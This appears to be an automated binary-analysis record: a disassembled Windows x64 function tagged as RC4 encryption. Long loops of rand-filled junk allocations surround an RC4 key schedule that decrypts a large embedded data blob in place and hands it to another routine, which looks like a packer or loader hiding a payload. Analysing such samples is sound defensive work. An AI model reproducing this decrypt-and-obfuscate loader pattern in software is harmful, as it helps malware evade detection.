Function at 0x140003fd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
xor edi, edi
nop word cs:[rax + rax]
mov ecx, 0x15c48
call fcn.14001d490
mov rsi, rax
xor ebx, ebx
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x50e238b7
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x1952
sub eax, ecx
mov dword [rsi + rbx*4], eax
call sub.msvcrt.dll_rand
inc rbx
cmp rbx, 0x16b
jne 0x140004000
mov rcx, rsi
call fcn.14001d470
inc edi
cmp edi, 0x16eb
jne 0x140003ff0
xor edi, edi
nop dword [rax + rax]
mov ecx, 0x24360
call fcn.14001d490
mov rsi, rax
xor ebx, ebx
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x4aa72ad5
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x36de
sub eax, ecx
mov dword [rsi + rbx*4], eax
call sub.msvcrt.dll_rand
inc rbx
cmp rbx, 0x354
jne 0x140004060
mov rcx, rsi
call fcn.14001d470
inc edi
cmp edi, 0x9b1
jne 0x140004050
mov ecx, 0x100
call fcn.14001d4a0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
movups xmmword [rax + 0x80], xmm0
movups xmmword [rax + 0x90], xmm0
movups xmmword [rax + 0xa0], xmm0
movups xmmword [rax + 0xb0], xmm0
movups xmmword [rax + 0xc0], xmm0
movups xmmword [rax + 0xd0], xmm0
movups xmmword [rax + 0xe0], xmm0
movups xmmword [rax + 0xf0], xmm0
xor eax, eax
nop word cs:[rax + rax]
mov byte [rcx + rax], al
inc rax
cmp rax, 0x100
jne 0x140004120
mov r9, qword [0x140109038]
mov r10, qword [0x140109030]
sub r9, r10
xor r8d, r8d
xor r11d, r11d
nop word cs:[rax + rax]
movzx ebx, byte [rcx + r8]
add r11b, bl
mov rax, r8
xor edx, edx
div r9
add r11b, byte [r10 + rdx]
movzx eax, r11b
movzx edx, byte [rcx + rax]
mov byte [rcx + r8], dl
mov byte [rcx + rax], bl
inc r8
cmp r8, 0x100
jne 0x140004150
xor eax, eax
lea rsi, [0x14001e6b0]
xor edx, edx
xor r8d, r8d
nop dword [rax]
lea r9d, [r8 + 1]
lea r10d, [r8 + 0x100]
test r9d, r9d
cmovns r10d, r9d
and r10d, 0xffffff00
neg r10d
add r8d, r10d
inc r8d
movsxd r9, r8d
movzx r10d, byte [rcx + r9]
add dl, r10b
movzx r11d, dl
movzx ebx, byte [rcx + r11]
mov byte [rcx + r9], bl
mov byte [rcx + r11], r10b
add r10b, byte [rcx + r9]
movzx r9d, r10b
movzx r9d, byte [rcx + r9]
xor byte [rax + rsi], r9b
inc rax
cmp rax, 0x1c049
jne 0x140004190
call fcn.14001d470
xor ebx, ebx
nop word cs:[rax + rax]
mov ecx, 0x16d00
call fcn.14001d490
mov rdi, rax
xor r14d, r14d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffb17fc5c3
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x2e27
sub eax, ecx
mov dword [rdi + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x28e
jne 0x140004210
mov rcx, rdi
call fcn.14001d470
inc ebx
cmp ebx, 0x1467
jne 0x140004200
xor ebx, ebx
xorps xmm6, xmm6
jmp 0x14000427b
xor ebx, ebx
test dil, dil
jne 0x140004713
mov ecx, 0x213f0
call fcn.14001d490
mov rdi, rax
xor r14d, r14d
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x4a07f3db
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x3754
sub eax, ecx
mov dword [rdi + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x243
jne 0x140004290
mov rcx, rdi
call fcn.14001d470
inc ebx
cmp ebx, 0x15e9
jne 0x14000427b
mov rcx, rsi
call fcn.140001950
mov edi, eax
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 0x12324
call fcn.14001d490
mov rbx, rax
xor r14d, r14d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffff9282b359
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x37ea
sub eax, ecx
mov dword [rbx + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x2c7
jne 0x140004300
mov rcx, rbx
call fcn.14001d470
inc ebp
cmp ebp, 0xc75
jne 0x1400042f0
xor ebp, ebp
nop
mov ecx, 0x20600
call fcn.14001d490
mov rbx, rax
xor r14d, r14d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffff8d0ab9e9
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x3a15
sub eax, ecx
mov dword [rbx + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x6c
jne 0x140004360
mov rcx, rbx
call fcn.14001d470
inc ebp
cmp ebp, 0x999
jne 0x140004350
xor ebp, ebp
test dil, dil
je 0x1400046a0
nop word cs:[rax + rax]
mov ecx, 0xc4b0
call fcn.14001d490
mov rbx, rax
xor r14d, r14d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x52c60ad5
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x317c
sub eax, ecx
mov dword [rbx + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x37b
jne 0x1400043d0
mov rcx, rbx
call fcn.14001d470
inc ebp
cmp ebp, 0xabc
jne 0x1400043c0
mov ecx, 0x100
call fcn.14001d4a0
mov rcx, rax
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x60], xmm6
movups xmmword [rax + 0x70], xmm6
movups xmmword [rax + 0x80], xmm6
movups xmmword [rax + 0x90], xmm6
movups xmmword [rax + 0xa0], xmm6
movups xmmword [rax + 0xb0], xmm6
movups xmmword [rax + 0xc0], xmm6
movups xmmword [rax + 0xd0], xmm6
movups xmmword [rax + 0xe0], xmm6
movups xmmword [rax + 0xf0], xmm6
xor eax, eax
mov byte [rcx + rax], al
inc rax
cmp rax, 0x100
jne 0x140004480
mov r9, qword [0x140109038]
mov r10, qword [0x140109030]
sub r9, r10
xor r8d, r8d
xor r11d, r11d
nop word cs:[rax + rax]
movzx ebx, byte [rcx + r8]
add r11b, bl
mov rax, r8
xor edx, edx
div r9
add r11b, byte [r10 + rdx]
movzx eax, r11b
movzx edx, byte [rcx + rax]
mov byte [rcx + r8], dl
mov byte [rcx + rax], bl
inc r8
cmp r8, 0x100
jne 0x1400044b0
xor eax, eax
xor edx, edx
xor r8d, r8d
nop word cs:[rax + rax]
lea r9d, [r8 + 1]
lea r10d, [r8 + 0x100]
test r9d, r9d
cmovns r10d, r9d
and r10d, 0xffffff00
neg r10d
add r8d, r10d
inc r8d
movsxd r9, r8d
movzx r10d, byte [rcx + r9]
add dl, r10b
movzx r11d, dl
movzx ebx, byte [rcx + r11]
mov byte [rcx + r9], bl
mov byte [rcx + r11], r10b
add r10b, byte [rcx + r9]
movzx r9d, r10b
movzx r9d, byte [rcx + r9]
xor byte [rax + rsi], r9b
inc rax
cmp rax, 0x1c049
jne 0x1400044f0
call fcn.14001d470
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 0x1b150
call fcn.14001d490
mov rbx, rax
xor r14d, r14d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x5f31fdd1
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x2b07
sub eax, ecx
mov dword [rbx + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x1c9
jne 0x140004570
mov rcx, rbx
call fcn.14001d470
inc ebp
cmp ebp, 0xbe2
jne 0x140004560
xor ebp, ebp
nop dword [rax]
mov ecx, 0x2425c
call fcn.14001d490
mov rbx, rax
xor r14d, r14d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffff9a0284eb
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x3531
sub eax, ecx
mov dword [rbx + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x117
jne 0x1400045d0
mov rcx, rbx
call fcn.14001d470
inc ebp
cmp ebp, 0xa52
jne 0x1400045c0
mov r14, rsp
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 0x1025c
call fcn.14001d490
mov rbx, rax
xor r15d, r15d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x3c435337
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x21fc
sub eax, ecx
mov dword [rbx + r15*4], eax
call sub.msvcrt.dll_rand
inc r15
cmp r15, 0x241
jne 0x140004640
mov rcx, rbx
call fcn.14001d470
inc ebp
cmp ebp, 0x886
jne 0x140004630
mov rsp, r14
jmp 0x140004270
mov ecx, 0x17f8c
call fcn.14001d490
mov rbx, rax
xor r14d, r14d
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x2eb0c6cd
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x2bdd
sub eax, ecx
mov dword [rbx + r14*4], eax
call sub.msvcrt.dll_rand
inc r14
cmp r14, 0x32a
jne 0x1400046b0
mov rcx, rbx
call fcn.14001d470
inc ebp
cmp ebp, 0x163e
jne 0x1400046a0
jmp 0x140004270
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14000f2c0
call fcn.140015bd0
mov rbx, qword [rax]
test rbx, rbx
jne 0x14001dcab
jmp 0x14001dd21
test cl, cl
je 0x14001dcd8
and esi, 1
je 0x14001dcc0
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x14001dca7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x14001dc88
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x14001dc96
test cl, cl
je 0x14001dcd8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x14001dcd8
cmp al, 0x20
jle 0x14001dcc8
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x14001dd06
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x140102d10]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140003fd0
lea rbx, [0x140102320]
jmp 0x14001dcd8